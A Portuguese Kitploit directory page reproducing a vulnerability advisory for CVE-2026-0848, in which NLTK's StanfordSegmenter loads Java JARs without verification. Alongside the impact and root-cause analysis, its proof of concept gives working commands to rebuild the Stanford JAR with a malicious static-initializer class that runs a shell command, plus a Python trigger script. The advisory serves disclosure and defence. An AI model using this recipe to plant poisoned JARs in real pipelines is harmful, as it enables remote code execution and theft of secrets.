Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter carrega dinamicamente arquivos .jar Java externos sem verificação ou sandboxing. Se um atacante puder fornecer ou substituir o JAR (por exemplo, download de modelo envenenado, troca de pacote via MITM ou envenenamento de dependência), bytecode Java arbitrário é executado no momento da importação. | Kitploit
Ferramentas/GitHubGitHub/hyperps/cve-2026-0848
Análise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança da Cadeia de SuprimentosPapers e PesquisaAprendizado e Educação
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Ver Repositório
12há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

nltk.tokenize.StanfordSegmenter carrega dinamicamente arquivos .jar Java externos sem verificação ou sandboxing. Se um atacante puder fornecer ou substituir o JAR (por exemplo, download de modelo envenenado, troca de pacote via MITM ou envenenamento de dependência), bytecode Java arbitrário é executado no momento da importação.

Compartilhar

CVE-2026-0848 — NLTK StanfordSegmenter: Execução Arbitrária de Código via Carregamento de JAR Não Confiável


Visão Geral

CampoDetalhes
ID da CVECVE-2026-0848
Pacotenltk (Natural Language Toolkit)
RegistroPyPI
Versões Afetadas<= 3.9.2
Tipo de VulnerabilidadeCWE-20: Validação de Entrada Incorreta
Pontuação CVSS10.0 (Crítica)
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
EscopoAlterado
Impacto na ConfidencialidadeAlto
Impacto na IntegridadeAlto
Impacto na DisponibilidadeAlto
Reportado em6 de dezembro de 2025
CVE PublicadoMarço de 2026
Suportado PorPalo Alto Networks / Prisma AIRS

Descrição

nltk.tokenize.StanfordSegmenter carrega dinamicamente arquivos Java .jar externos via subprocess sem realizar nenhuma verificação de integridade, verificação de assinatura ou sandboxing. A classe aceita parâmetros totalmente controlados pelo atacante, incluindo path_to_jar, path_to_model, path_to_dict e java_class, e os repassa diretamente para uma invocação java -cp.

Se um atacante puder fornecer ou substituir o arquivo JAR — por meio de um download de modelo envenenado, uma troca de pacote man-in-the-middle, envenenamento de dependência ou um espelho de lançamento corrompido — bytecode Java arbitrário é executado no momento do carregamento da classe por meio do mecanismo de inicializador estático da JVM. Isso constitui uma vulnerabilidade de Execução Remota de Código na cadeia de suprimentos e escapa completamente do runtime do Python.


Componentes Afetados

ArquivoLinhasDescrição
nltk/tokenize/stanford_segmenter.pyL53–L118Aceita path_to_jar, path_to_model, path_to_dict e java_class controlados pelo atacante, sem validação
nltk/internals.pyL220–L300Lança a execução Java diretamente com caminho de JAR e classpath controlados pelo usuário, sem sandboxing ou verificação de soma de verificação
nltk/internals.pyL109–L152subprocess.Popen() executa Java com entrada de classpath não validada, permitindo que a JVM carregue bytecode arbitrário e execute inicializadores estáticos

Vetor CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MétricaValor
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
EscopoAlterado
ConfidencialidadeAlta
IntegridadeAlta
DisponibilidadeAlta

Impacto

A exploração bem-sucedida concede ao atacante controle total sobre o sistema que executa o processo de segmentação do NLTK:

  • Execução de código Java arbitrário — Qualquer bytecode incorporado no JAR malicioso é executado com os privilégios do processo Python/Java
  • Escape do runtime do Python — A execução é transferida para a JVM, contornando completamente o sandboxing em nível de Python
  • Execução de comandos em nível de SO — Os atacantes podem invocar Runtime.getRuntime().exec() ou ProcessBuilder para executar comandos shell arbitrários
  • Roubo e modificação de dados — Acesso a todos os arquivos, variáveis de ambiente, chaves de API e segredos legíveis pelo processo
  • Comprometimento total do ambiente — Em CI/CD, pipelines de NLP em produção ou ambientes de servidor, um único JAR malicioso leva à tomada completa do host

Cenários de Implantação de Alto Risco

CenárioImpacto
Pesquisador de ML carrega um segmentador pré-treinado da internetAtacante remoto obtém execução de código
Organização baixa um ZIP de modelo de segmentação chinês corrompidoMalware é executado dentro do pipeline de NLP em produção
Servidor de CI/CD instala modelo via wget/unzip de um espelho não HTTPSComprometimento total do ambiente
Tomada de dependência ou espelho de lançamento envenenadoRCE completa na cadeia de suprimentos

Esta vulnerabilidade afeta qualquer fluxo de trabalho de NLP que use StanfordSegmenter, incluindo chatbots, pipelines de pré-processamento de LLM, segmentação de conjuntos de dados, classificação de documentos e serviços de inferência em produção.


Prova de Conceito

Esta informação é fornecida apenas para fins educacionais e de defesa. Não teste contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.

Etapa 1 — Substituir o Classificador Principal por uma Classe Java Maliciosa

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Etapa 2 — Construir o JAR Malicioso

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Etapa 3 — Acionar via NLTK

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Saída:

[+] Acionando payload via JAR Stanford modificado...

Payload executado — Código executado no carregamento da classe!

[+] Executando segmentação...
我 爱 自然语言 处理

Confirmar RCE:

ls /tmp | grep pwned_hijack
# pwned_hijack

Causa Raiz

A vulnerabilidade existe em dois arquivos:

stanford_segmenter.py — O construtor da classe StanfordSegmenter aceita path_to_jar, path_to_model, path_to_dict e java_class como argumentos de string simples e os encaminha diretamente para a camada de execução Java sem realizar nenhuma das seguintes ações:

  • Aplicação de lista de permissões de caminho ou diretórios confiáveis
  • Verificação SHA-256 ou de assinatura criptográfica do JAR
  • Validação do parâmetro java_class em relação a um conjunto de nomes de classe conhecidos como seguros

internals.py — O auxiliar java() constrói e lança uma chamada subprocess.Popen() com o classpath fornecido pelo usuário. A JVM carrega imediatamente todas as classes do JAR fornecido, executando quaisquer blocos inicializadores estáticos antes que a lógica do aplicativo seja executada. Não há sandbox, nenhuma barreira de integridade e nenhum mecanismo para impedir a execução de bytecode injetado.


Baixar ferramenta